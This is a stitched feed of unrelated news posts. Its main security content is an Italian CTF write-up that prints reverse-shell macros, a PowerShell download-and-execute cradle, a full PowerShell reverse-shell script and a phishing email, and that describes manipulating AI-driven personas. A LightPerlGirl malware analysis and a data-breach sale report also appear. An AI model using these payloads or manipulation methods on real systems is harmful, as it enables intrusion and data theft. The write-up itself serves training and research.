Il sito web più importante per informazioni cruciali sul clima negli Stati Uniti scompare
I link ai rapporti climatici più completi degli Stati Uniti, le Valutazioni Nazionali sul Clima, sono scomparsi da Internet lunedì, insieme al sito web ufficiale del governo che li ospita.
scientificamerican.com/article…
U.S. National Climate Assessments Website Goes Dark
Links to the U.S.’s most comprehensive climate reports—the National Climate Assessments—disappeared from the Internet on Monday, along with the official government website that houses themChelsea Harvey (Scientific American)
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freezonemagazine.com/articoli/…
Un concerto rock, di quelli da stadio, che contano decine di migliaia di spettatori paganti, è un grande, straordinario rito collettivo, con le sue liturgie, che è bene conoscere se davvero vuoi definirti un adepto, i suoi obblighi quasi ascetici e, se tutto va bene, la catarsi e la redenzione finali. Tanto più questo è […]
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Un concerto rock, di quelli da
Il fediverso inizia a pensare in grande
È il segnale che qualcosa davvero sta per cambiare oppure il fragile equilibrio del fediverso rischia di essere compromesso dall’arrivo di piattaforme con decine o centinaia di milioni di utenti (e che si reggono su modelli di business tradizionali)? Sognare che le logiche alla base dell’open web contagino infine anche il mondo social non costa nulla. Ma è bene essere pronti a un brusco risveglio.
Andrea Daniele Signorelli (che non ha un account nel Fediverso) parla di Fediverso su @Guerre di Rete
guerredirete.it/il-fediverso-i…
Il fediverso inizia a pensare in grande - Guerre di Rete
Nonostante la sua complessità, l’ecosistema aperto e decentralizzato simboleggiato da Mastodon continua ad attirare grandi piattaforme come Threads o Flipboard: è la rivincita dell’open web o l’inizio della fine?Andrea Daniele Signorelli (Guerre di Rete)
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Matthijs stelt zich voor
Matthijs Pontier, PhD, heeft een achtergrond als wetenschapper. Hij is al lang actief voor de Piratenpartij en was al eerder lijsttrekker. Daarnaast zit hij in het bestuur van Meer Democratie en de Stichting Drugsbeleid. Momenteel vertegenwoordigt Matthijs de Piratenpartij als fractievoorzitter in Waterschap Amstel, Gooi en Vecht en ondersteunt hij de stadsdeelfracties in Amsterdam. Bio […]
Het bericht Matthijs stelt zich voor verscheen eerst op Piratenpartij.
Houken sfrutta zero-day e rootkit per infiltrarsi nelle infrastrutture critiche globali
@Informatica (Italy e non Italy 😁)
Il gruppo di minacce cinese Houken sfrutta tre vulnerabilità critiche zero-day di Ivanti CSA per distribuire rootkit Linux avanzati e stabilire un accesso persistente a reti di infrastrutture critiche in tutto il mondo. Ecco come
Informatica (Italy e non Italy 😁) reshared this.
16TB di un’azienda italiana di Financial Service, in vendita nelle underground
Un’importante realtà operante nel settore della gestione e recupero crediti a livello europeo potrebbe essere finita nel mirino dei cybercriminali. Secondo quanto emerso da un annuncio comparso su un noto forum del dark web, un attore malevolo ha messo in vendita oltre 16 terabyte di dati esfiltrati dai server aziendali e da numerose controllate, dislocate in diversi Paesi, tra cui Grecia, Spagna e Italia.
L’azienda colpita gestisce asset finanziari per conto di banche e istituzioni, e si occupa di gestione di portafogli di crediti deteriorati (NPL), oltre a fornire servizi di due diligence, gestione documentale e supporto amministrativo. I dati compromessi includerebbero interi file system provenienti da server di database e Active Directory, contenenti probabilmente informazioni su clienti, documentazione interna, report finanziari, contratti e corrispondenze sensibili.
Disclaimer: Questo rapporto include screenshot e/o testo tratti da fonti pubblicamente accessibili. Le informazioni fornite hanno esclusivamente finalità di intelligence sulle minacce e di sensibilizzazione sui rischi di cybersecurity. Red Hot Cyber condanna qualsiasi accesso non autorizzato, diffusione impropria o utilizzo illecito di tali dati. Di conseguenza, questo articolo deve essere considerato esclusivamente a scopo informativo e di intelligence.
Nel messaggio pubblicato dai cybercriminali, gli autori spiegano che i dati sono troppo voluminosi per essere condivisi come prova diretta, ma hanno pubblicato alberi delle directory per dimostrare l’entità dell’infiltrazione. I dati sembrano provenire da più domini Active Directory collegati alle sedi e sussidiarie europee del gruppo.
I dettagli del presunto attacco informatico
L’accesso ai dati viene offerto in vendita con prezzo negoziabile, e l’autore fornisce anche dei token di sessione per comunicazioni riservate con potenziali acquirenti. Una violazione di questa portata qualora confermata, rappresenta una minaccia concreta per migliaia di individui e istituzioni. Se confermati, i dati potrebbero contenere:
- Informazioni personali e bancarie di debitori
- Dati su portafogli finanziari e investimenti
- Documentazione legale riservata
- Strutture di gestione interna e credenziali di accesso
Inoltre, l’esposizione di infrastrutture Active Directory può facilitare nuove azioni offensive, come movimenti laterali all’interno delle reti, attacchi ransomware o compromissione di ambienti cloud integrati.
Conclusione
L’incidente evidenzia, ancora una volta, quanto siano vulnerabili anche le infrastrutture critiche delle aziende che gestiscono ingenti volumi di dati finanziari. È essenziale che tali enti adottino misure di cybersecurity avanzate, tra cui segmentazione delle reti, monitoraggio attivo, audit di sicurezza e piani di risposta agli incidenti.
Il settore del recupero crediti e della gestione patrimoniale, per la natura altamente sensibile dei dati trattati, rimane una delle aree più a rischio nel panorama delle minacce informatiche globali.
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La trasparenza salariale contro il “gender pay gap”
Questa cosa è la bomba atomica nello stagno 😀
Poi lamentiamoci dell'Europa...
Nel 2026 entra in vigore la direttiva europea: si potranno conoscere le buste paga dei colleghi che svolgono lo stesso lavoro, discriminare sarà più difficile
Nello specifico, il testo stabilisce che le lavoratrici e i lavoratori e i loro rappresentanti abbiano il diritto di ricevere informazioni esaurienti e chiare sui livelli retributivi medi, suddivisi anche per genere, inerenti alle categorie di lavoratori che svolgono lo stesso lavoro o un lavoro di pari valore.
Non verranno più ammesse clausole nei contratti che vietano di parlare di stipendi. E come detto, c’è la data: le aziende dovranno adeguarsi entro il 7/06/2026, in caso contrario rischiano multe, sanzioni e verranno chiamate a dimostrare di non avere effettuato discriminazioni nei luoghi di lavoro.
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Reliving VHS Memories with NFC and ESPHome
Like many of us of a certain vintage, [Dillan Stock] at The Stock Pot is nostalgic for VHS tapes. It’s not so much the fuzzy picture or the tracking issues we miss, but the physical experience the physical medium brought to movie night. To recreate that magic, [Dillan] made a Modern VHS with NFC and ESPHome.
NFC tags are contained in handsomely designed 3D printed cartridges. You can tell [Dillan] put quite a bit of thought into the industrial design of these: there’s something delightfully Atari-like about them, but they have the correct aspect ratio to hold a miniaturized movie poster as a label. They’re designed to print in two pieces (no plastic wasted on supports) and snap together without glue. The printed reader is equally well thought out, with print-in-place springs for that all important analog clunk.
Electronically, the reader is almost as simple as the cartridge: it holds the NFC reader board and an ESP32. This is very similar to NFC-based audio players we’ve featured before, but it differs in the programming. Here, the ESP32 does nothing related directly to playing media: it is simply programmed to forward the NFC tag id to ESPHome. Based on that tag ID, ESPHome can turn on the TV, cue the appropriate media from a Plex server (or elsewhere), or do… well, literally anything. It’s ESPHome; if you wanted to make this and have a cartridge to start your coffee maker, you could.
If this tickles your nostalgia bone, [Dillan] has links to all the code, 3D files and even the label templates on his site. If you’re not sold yet, check out the video below and you might just change your mind. We’ve seen hacks from The Stock Pot before, everything from a rebuilt lamp to an elegant downspout and a universal remote.
youtube.com/embed/Jhhwn7OA_xY?…
Caos da Patch: un aggiornamento di Windows 11 manda in tilt la stampa PDF
Ebbene sì, ancora una volta un aggiornamento di Windows ha scatenato l’inferno. L’innocua funzione “Microsoft Print to PDF”, da anni alleata silenziosa di utenti e amministratori IT, è finita KO dopo l’aggiornamento preview di aprile 2025 su sistemi Windows 11 24H2.
Una funzionalità data per scontata, quella della stampa PDF, che improvvisamente… scompare nel nulla. Niente più stampante PDF sotto Impostazioni > Dispositivi Bluetooth e stampanti. E per chi prova a riattivarla tramite funzionalità opzionali o PowerShell? Una bella schermata con l’errore 0x800f0922. La stampante non si reinstalla e il driver non si trova.
Il fix? Solo per chi osa le patch opzionali
Microsoft ha finalmente messo una pezza al disastro con l’aggiornamento cumulativo KB5060829, rilasciato in anteprima lo scorso venerdì.
Ma attenzione: il fix è solo per i coraggiosi che installano gli update opzionali di giugno.
Per tutti gli altri, l’attesa durerà fino al Patch Tuesday di luglio.
Nel frattempo, chi non vuole aspettare dovrà tentare la riabilitazione manuale:
- Aprire la finestra “Funzionalità facoltative” con
Win + R
, digitareoptionalfeatures
e cercare Microsoft Print to PDF.
- Oppure usare PowerShell (con privilegi amministrativi), eseguendo:
Disable-WindowsOptionalFeature -Online -FeatureName Printing-PrintToPDFServices-FeaturesEnable-WindowsOptionalFeature -Online -FeatureName Printing-PrintToPDFServices-Features
Anche in questo caso, però, l’errore 0x800f0922 potrebbe ripresentarsi.
Non è la prima volta: quando aggiornare diventa un rischio
Questa non è che l’ennesima puntata di una lunga serie.
A marzo, altri aggiornamenti mandavano in crisi le stampanti USB, facendole sputare caratteri casuali come se fossero impazzite.
A giugno, Microsoft ha addirittura avvisato di possibili ritardi nelle patch di sicurezza a causa di metadati errati e problemi critici con Windows Update.
L’IT tra aggiornamenti e imprevisti
In un contesto in cui anche un semplice aggiornamento può nascondere qualche imprevisto, i team IT si trovano spesso a dover pianificare con attenzione ogni installazione, testando le patch prima del rilascio definitivo e monitorando eventuali anomalie.
Questa volta è toccato alla stampa PDF. La prossima? Magari un driver Bluetooth, magari nulla.
Quel che è certo è che ogni Patch Tuesday porta con sé qualche sorpresa… e un pizzico di sana prudenza non guasta mai.
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Senza pudore!
@Giornalismo e disordine informativo
articolo21.org/2025/07/senza-p…
Spudorati! Mentre dai canali social della presidente Chiara Colosimo rimbalzano le immagini della “Borsa di Borsellino” esibita alla Camera dei Deputati, il Governo presenta emendamenti al dl INFRASTRUTTURE, oggi in conversione alla Camera dei Deputati, per annacquare la prevenzione anti mafia, precisamente ciò che il Quirinale aveva
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Fuoricampo ma soprattutto controcorrente
@Notizie dall'Italia e dal mondo
Fuoricampo, ma soprattutto controcorrente. L’abbiamo immaginata così, la prossima edizione del nostro festival Fuoricampo – il festival del giornalismo lento: un piccolo seme di informazione marginale, indipendente e collettiva, nella teoria e nella pratica. Proprio come la nostra testata giornalistica: sempre in direzione ostinata e
L'articolo
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Out of Distribution (OoD): cos’è e come riconoscere quando l’AI non sa
@Informatica (Italy e non Italy 😁)
Il mancato rilevamento degli input Out of Distribution (OoD) nell'AI potrebbe causare guasti silenti con conseguenze importanti. Poiché le organizzazioni continuano a incorporare l'intelligenza artificiale nei loro sistemi mission critical, il rilevamento degli
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SIRIA. Suwayda, tra pietra e resistenza: viaggio in una città che non si piega (Parte 2)
@Notizie dall'Italia e dal mondo
Seconda parte del diario politico dalla "capitale" drusa dove si sperimentano forme di auto-organizzazione ribadendo il legame con il resto del popolo siriano e il rifiuto delle manovre di altri paesi
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Smallest Gaming Mouse Has Crazy Fast Polling Rate And Resolution
[juskim] wanted to build a tiny mouse, but it couldn’t just be any mouse. It had to be a high-tech gaming mouse that could compete with the best on raw performance. The results are impressive, even if the final build is perhaps less than ideal for pro-level gameplay.
The build riffs on an earlier build from [juskim] that used little more than a PCB and a 3D-printed housing to make a barebones skeleton mouse. However, this one ups the sophistication level. At the heart of the build is the nRF54L15 microcontroller, which is paired with a PAW3395 mouse sensor which is commonly used in high-end gaming mice. It offers resolution up to 26K DPI for accurate tracking, speeds up to 650 ips, and 8 kHz sampling rates. Long story short, if you want fine twitch control, this is the sensor you’re looking for. The sensor and microcontroller are laced together on a custom PCB with a couple of buttons, a battery, and a charging circuit, and installed in a barebones 3D-printed housing to make the final build as small as possible.
The only real thing letting the design down is the mouse’s key feature—the size. There’s very little body to grab on to and it’s hard to imagine being able to play most fast-paced games at a high level with such a tiny device. Nevertheless, the specs are hardcore and capable, even if the enclosure isn’t.
[juskim] loves building tiny peripherals; we’ve featured his fine work before, too. Video after the break.
youtube.com/embed/XgV3BgWfUFY?…
Se è gratuito, il prodotto sei tu. Google paga 314 milioni di dollari per violazione dei dati agli utenti Android
Google è al centro di un’imponente causa in California che si è conclusa con la decisione di pagare oltre 314 milioni di dollari agli utenti di smartphone Android nello stato. Una giuria di San Jose ha stabilito che l’azienda ha violato i diritti dei proprietari di dispositivi mobili raccogliendo dati dai loro telefoni senza autorizzazione, anche quando i dispositivi erano in modalità standby.
Come ha spiegato l’avvocato dei querelanti, Glen Summers, la decisione del tribunale conferma la gravità delle violazioni commesse da Google e l’equità delle accuse mosse nei suoi confronti. Secondo lui, le azioni dell’azienda hanno costretto milioni di utenti in California a consumare i propri dati mobili, mentre le informazioni raccolte venivano utilizzate a vantaggio dell’azienda stessa, per scopi pubblicitari e altri scopi commerciali.
La class action è stata intentata nel 2019 e sosteneva che Google continuasse a inviare e ricevere dati dai dispositivi Android tramite i suoi servizi anche quando gli utenti non interagivano con i telefoni. Secondo l’accusa, ciò avrebbe interessato circa 14 milioni di californiani.
Gli avvocati di Google hanno insistito sul fatto che non era stato arrecato alcun danno agli utenti. La principale argomentazione dell’azienda era che tutti questi processi erano descritti in anticipo nei termini di utilizzo e nell’informativa sulla privacy che ciascun utente accetta al momento dell’attivazione del dispositivo. Tuttavia, la giuria ha deciso diversamente, a sostegno della posizione dei ricorrenti.
Il portavoce di Google, José Castaneda, ha dichiarato che l’azienda non è d’accordo con la decisione del tribunale e intende presentare ricorso. Ha inoltre osservato che questi processi di raccolta dati sono parte integrante della garanzia della sicurezza, della stabilità e dell’affidabilità dei dispositivi Android.
Una causa simile che coinvolge utenti Android in altri 49 stati degli Stati Uniti è pendente presso il tribunale federale di San Jose. Il processo dovrebbe iniziare nell’aprile 2026. Questa situazione sta diventando l’ultimo episodio di una serie di azioni legali contro le più grandi aziende IT, sempre più accusate di gestione non etica dei dati personali.
Nel caso di Google, non si tratta solo di una questione di privacy, ma anche del fatto che le informazioni siano state raccolte a spese delle risorse degli utenti, il che ha causato ulteriore indignazione.
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CTF di RHC 2025. Ingegneria sociale in gioco: scopri la quarta “flag” non risolta
La RHC Conference 2025, organizzata da Red Hot Cyber, ha rappresentato un punto di riferimento per la comunità italiana della cybersecurity, offrendo un ricco programma di talk, workshop e competizioni. Tra gli eventi più attesi, spiccano le Capture The Flag (CTF), che hanno coinvolto i partecipanti in sfide avvincenti e realistiche.
Queste CTF hanno portato i partecipanti nel cuore di una crisi geopolitica simulata: una Cyber Warfare Ibrida contro la nazione fittizia di Minzhong, in cui attori malevoli puntavano a sabotare la supply chain e le reti 4G locali. Questa simulazione, realizzata con il contributo di CyberSecurityUP, Hackmageddon e Fondazione Bruno Kessler (FBK), ha spinto i concorrenti a confrontarsi con tematiche moderne come AI, minacce ibride, disinformazione e infrastrutture critiche, alzando l’asticella del realismo tecnico e narrativo.
Una delle CTF più innovative è stata quella dedicata al Social Engineering, organizzata dalla FBK e dall’Università di Trento in collaborazione con il collettivo HackerHood, che ha offerto ai partecipanti un’esperienza immersiva e un approccio rivoluzionario per le sfide CTF, simulando un ambiente realistico gestito dall’intelligenza artificiale, che gli attaccanti potevano compromettere combinando tecniche di manipolazione psicologica con exploit tecnologici.
Una piattaforma di social engineering per una CTF realistica
La CTF sul Social Engineering si è distinta per l’uso innovativo di una piattaforma sperimentale sviluppata in ambito di ricerca. Questa piattaforma, creata da FBK e dall’Università di Trento, ha generato dinamicamente una finta infrastruttura ICT: indirizzi email, utenti fittizi, un servizio di storage cloud e identità virtuali dotate di personalità credibili, in grado di interagire in linguaggio naturale con i partecipanti.
Il cuore della competizione non era l’exploitation tecnica, ma l’inganno: convincere questi “personaggi virtuali” a rivelare informazioni sensibili, cliccare su link o scaricare allegati. Tutto questo grazie all’uso sapiente dell’ingegneria sociale, combinata con l’analisi dei dettagli dell’ambiente simulato.
Il contributo di HackerHood: test e adattamento
Il collettivo HackerHood ha avuto un ruolo essenziale nella riuscita della competizione, contribuendo non solo ad una validazione iniziale di tale piattaforma ma anche all’adattamento della stessa al contesto CTF. Dopo numerose sessioni di test, sono stati migliorati stabilità, scalabilità e credibilità dell’infrastruttura.
I partecipanti si sono trovati davanti a un ecosistema realistico e immersivo, in cui ogni azione produceva reazioni coerenti da parte degli utenti simulati, grazie a un motore di intelligenza artificiale generativa. Questo ha elevato notevolmente il livello di sfida, rendendo ogni interazione una prova di astuzia e precisione linguistica.
Le Flag della CTF: Social Engineering in azione
La CTF si è articolata in una serie di flag a difficoltà crescente, tutte basate sull’ingegneria sociale e sull’interazione con l’ambiente simulato. Ogni flag rappresentava una tappa nel percorso di compromissione dell’infrastruttura aziendale fittizia.
Panoramica delle principali flag
- Scopri la password di un dipendente
Obiettivo: convincere un dipendente a rivelare o lasciar trapelare la propria password. - Viola il ticket system aziendale
Obiettivo: scoprire l’indirizzo email nascosto del supporto IT e sfruttarlo per un attacco. - Recupera il file “lista-esuberi”
Obiettivo: ottenere un file riservato presente solo nel sistema di online file sharing. - Recupera una password condivisa
Obiettivo: identificare una mail interna in cui veniva condivisa una password aziendale. - Scopri la chiave privata del CEO
Obiettivo: recuperare una chiave SSH inviata via email, sfruttando altre compromissioni precedenti.
L’ultima sfida irrisolta “Leggi il contenuto del budget aziendale”
Questa flag rappresentava il punto avanzato dell’intera CTF: per ottenerla, i partecipanti dovevano recuperare e leggere un file PDF riservato chiamato budget-aziendale.pdf, presente solo sul laptop Windows del CEO. Il file era protetto da una password nota soltanto a chi avesse risolto la flag “Recupera una password condivisa” nascosta fra le conversazioni di due dipendenti.
L’obiettivo poteva essere raggiunto seguendo due percorsi alternativi, entrambi validi ma di difficoltà diversa:
1. Accesso tramite SSH:
Tramite una campagna di phishing o social engineering, i partecipanti potevano indurre uno qualunque dei “personaggi virtuali” ad aprire una macro malevola o eseguire un payload da un allegato, ottenendo così accesso completo al sistema Linux. Era quindi possibile utilizzare la chiave SSH ottenuta dal completamento della flag “Scopri la chiave privata del CEO” per accedere interattivamente e tramite movimento laterale al laptop del CEO e leggere il file localmente.
Da un punto di vista più pratico, questo può essere riassunto nei seguenti passaggi.
- Recupero della chiave privata del CEO: accedere alla casella mail del CEO e recuperare la sua chiave privata inviata tramite mail. La chiave era gia’ in possesso se la flag “Scopri la chiave privata del CEO” era gia’ stata completata.
- Estrazione della chiave privata del CEO: convincere il CEO a fornire il proprio ID, in modo da poter estrarre la chiave privata.
- Creazione del documento malevolo: creare un documento LibreOffice contenente una macro capace di aprire una reverse shell. Un esempio di macro e’ riportato di seguito.
Function Main
shell("bash -c 'bash -i &> /dev/tcp// 0>&1'")
End Function
- Invio del payload: inviare una mail ad uno dei dipendenti utilizzanti Linux allegando il file malevolo. Un testo di esempio di tale mail e’ riportato di seguito.
Gentile Utente,in allegato le nuove policy di sicurezza appena approvate. La invitiamo cortesemente a prenderne visione e a procedere alla loro attuazione al fine di migliorare la security posture dell'aziendaRestiamo a disposizione per ogni dubbio e chiarimento.Cordialmente,Il dipartimento IT.
- Upload della chiave privata del CEO: caricare sul laptop del dipendente la chiave privata del CEO ottenuta in precedenza.
- Movimento laterale: Utilizzare la shell acquisita sul laptop del dipendente per effettuare un movimento laterale, collegandosi tramite SSH al laptop del CEO mediante l’uso della chiave SSH.
- Download del file: Esfiltrare il file “budget-aziendale.zip” copiandolo, ad esempio, sul proprio laptop tramite protocollo ftp.
- Recupero della password per aprire il file: accedere alla casella mail del CEO e recuperare la password necessaria per l’apertura del file. Tale password e’ la soluzione alla flag “Recupera una password condivisa”
- Apertura del file: Utilizzare la password per poter estrarre il file e leggerne il contenuto.
2. Violazione diretta del laptop del CEO:
Tramite una campagna di phishing o social engineering, i partecipanti potevano indurre il CEO ad aprire una macro malevola o eseguire un payload da un allegato, ottenendo così accesso completo al sistema. Questa strategia era più complicata dal momento che sul portatile Windows era presente un antivirus.Da un punto di vista più pratico, questo può essere riassunto nei seguenti passaggi.
- Creazione del documento malevolo: creare un documento Microsoft Office contenente una macro capace di aprire una reverse shell. In questo caso era necessario operare delle operazioni di offuscamento sulla macro, poiché il laptop del CEO era protetto da un antivirus capace di bloccare le macro malevole in chiaro. Un esempio di macro in chiaro e’ riportato di seguito.
Sub Auto_Open()
Last = "powershell -exec bypass IEX ((new-object
net.webclient).downloadstring('http:///poc.txt')) -WindowStyle Minimized"
CreateObject("Wscript.Shell").Run Last
End Sub
Il contenuto del file poc.txt per questa macro e’ riportato di seguito.
$client = New-Object System.Net.Sockets.TCPClient("",);$stream=$client.GetStrean();[byte[]]$bytes = 0..655351|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCITEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
- Invio del payload: inviare una mail al CEO allegando il file malevolo. Un testo di esempio di tale mail e’ riportato al punto d del metodo procedente.
- Download del file: Esfiltrare il file “budget-aziendale.zip” copiandolo, ad esempio, sul proprio laptop tramite protocollo ftp.
- Recupero della password per aprire il file: accedere alla casella mail del CEO e recuperare la password necessaria per l’apertura del file. Tale password e’ la soluzione alla flag “Recupera una password condivisa”
- Apertura del file: Utilizzare la password per poter estrarre il file e leggerne il contenuto.
Entrambe le strategie richiedevano competenze trasversali, tempismo e il corretto uso delle flag ottenute in precedenza: la password del file veniva acquisita solo tramite la flag “Recupera una password condivisa”, e l’accesso al sistema era subordinato a compromissioni precedenti “Scopri la chiave privata del CEO” o “Scopri la password di un dipendente”.
Criticità e caratteristiche
- Il file non era accessibile tramite il sistema di file sharing in cloud.
- Era necessario ricostruire correttamente la topologia aziendale per pianificare l’accesso al dispositivo del CEO.
- Il file conteneva la flag finale, una frase ironica che rifletteva il tema aziendale fittizio della simulazione:
CTFRHC{{W3_H4V3_NO_M0R3_MON3Y}}
Completamento e Motivi del fallimento
Nonostante il 95% del percorso fosse stato risolto, nessun team è riuscito a ottenere questa flag e secondo una preliminare valutazione i principali motivi sono i seguenti:
- Gestione del tempo: i partecipanti sono arrivati molto vicini alla soluzione, ma non hanno avuto il tempo sufficiente per completare la catena finale di compromissioni e accessi necessari.
- Approccio tecnico predominante: molti team hanno preferito concentrarsi sull’identificazione e lo sfruttamento di possibili vulnerabilità tecniche dell’infrastruttura, sottovalutando la componente di social engineering, che in questo scenario era in realtà la chiave per aggirare i controlli e convincere i personaggi virtuali ad agire.
- Complessità dell’ambiente IA: il comportamento del CEO era gestito da un’IA configurata per ignorare email da contatti esterni, rendendo inefficaci approcci diretti e costringendo i team a cercare vie interne più complesse.
Conclusioni
I commenti raccolti al termine della competizione parlano chiaro: la combinazione di una piattaforma di social engineering realistica ed interazioni dinamiche guidate da intelligenza artificiale ha offerto ai partecipanti un’esperienza nuova e fresca rispetto alle altre sfide disponibili. Tutti i partecipanti erano concordi sul fatto che questo tipo di approccio fosse una ventata d’aria fresca rispetto alle classiche sfide, costringendoli anche a cambiare mentalità e prospettiva per poterla portare a termine.
La sfida ha alzato significativamente l’asticella, non solo in termini tecnici, ma soprattutto per la capacità di simulare scenari credibili, in cui il fattore umano è al centro del gioco. In un’epoca in cui la manipolazione dell’informazione e l’ingegneria sociale sono armi reali, esperienze come questa rappresentano un passo importante verso una formazione più completa, moderna e aderente alla realtà delle minacce informatiche. La sperimentazione ha dimostrato che è possibile fare didattica e ricerca in modo innovativo, coinvolgente e ad alto impatto.
Il presente articolo e le attività descritte sono frutto di una collaborazione tra FBK, Università di Trento ed Hackerhood. Si ringraziano Manuel Roccon, Matteo Bridi, Alessandro Molinari, Domenico Siracusa, Claudio Facchinetti e Daniele Santoro.
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LightPerlGirl: Il Malware Invisibile che Sfugge agli Antivirus e Si Attiva con un Click
Un nuovo malware chiamato LightPerlGirl ha attirato l’attenzione degli esperti di sicurezza informatica per il suo insolito e pericoloso schema di penetrazione dei dispositivi. L’attacco si basa sulla tecnica ClickFix : una finta finestra pop-up CAPTCHA che avvia una complessa sequenza di azioni utilizzando PowerShell e metodi che consentono al codice dannoso di nascondersi completamente dalle soluzioni di sicurezza.
Il nome del malware trae ispirazione dalla riga interna del copyright: “Copyright (c) LightPerlGirl 2025“. La campagna di distribuzione del malware è stata notata per la prima volta dai ricercatori di Todyl dopo aver rilevato script PowerShell anomali su un dispositivo client. Questo è diventato il punto di partenza per indagare su un complesso schema di infezione a più fasi in grado di bypassare i meccanismi di difesa tradizionali.
L’infezione inizia visitando un sito compromesso, il più delle volte sulla piattaforma WordPress, come una risorsa di viaggio. Le pagine ospitano codice JavaScript dannoso, mascherato da controllo di sicurezza di provider noti come Cloudflare. Lo script richiama una finestra con un CAPTCHA falso che, interagendo con esso, richiede all’utente di avviarlo tramite la funzione Esegui di Windows, essenzialmente la prima fase dell’attacco.
Questo comando contatta il server C&C all’indirizzo “cmbkz8kz1000108k2carjewzf[.]info”, da cui viene scaricato il seguente script di PowerShell. Viene eseguito interamente in memoria e include tre moduli: HelpIO, Urex ed ExWpL. Ognuno di essi esegue attività specifiche volte a proteggere il malware nel sistema e a renderlo invisibile.
Il modulo HelpIO richiede i diritti amministrativi tramite la finestra UAC standard e aggiunge quindi un’eccezione a Windows Defender per la directory “C:\Windows\Temp”. Ciò consente il salvataggio dei componenti successivi senza generare allarmi nei programmi antivirus. Urex garantisce quindi una presenza persistente nel sistema scaricando un file bat chiamato “LixPay.bat” e posizionandolo nella directory Temp esclusa. Crea inoltre un collegamento all’avvio in modo che venga eseguito a ogni avvio del sistema.
L’elemento più complesso, ExWpL, non utilizza affatto il file system. Decrittografa un assembly .NET codificato in base64 e lo esegue direttamente in memoria utilizzando il metodo System.Reflection.Assembly.Load(). Questo approccio evita qualsiasi interazione con il disco, il che complica notevolmente il rilevamento.
Dopo aver completato tutte le fasi, il malware mantiene una connessione stabile con il server di comando e controllo, consentendo agli aggressori di eseguire comandi in tempo reale e di scaricare nuovi componenti senza lasciare tracce nel file system.
Secondo Todyl, il fattore critico dell’infezione è stata la mancanza di sistemi di protezione degli endpoint sul dispositivo attaccato, che ha consentito l’esecuzione dello script iniziale. Tuttavia, il team dell’azienda è riuscito a isolare l’host infetto utilizzando il proprio SIEM e l’analisi dei log degli script di PowerShell.
La chiave dell’attacco è il coinvolgimento dell’utente. Tutto inizia con un singolo clic su un CAPTCHA “sicuro” che esegue effettivamente il codice. Todyl sottolinea che nessun controllo di sicurezza dovrebbe richiedere l’inserimento manuale di comandi. Inoltre, si raccomanda di installare urgentemente strumenti di protezione completa degli endpoint e di utilizzare gli indicatori di compromissione forniti nel report per condurre un’analisi dell’infrastruttura.
LightPerlGirl è un esempio di come l’elegante ingegneria sociale e la sofisticatezza tecnica si fondano per creare una minaccia che non può essere ignorata.
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Bastian’s Night #432 July, 3rd
Every Thursday of the week, Bastian’s Night is broadcast from 21:30 CEST (new time).
Bastian’s Night is a live talk show in German with lots of music, a weekly round-up of news from around the world, and a glimpse into the host’s crazy week in the pirate movement aka Cabinet of Curiosities.
If you want to read more about @BastianBB: –> This way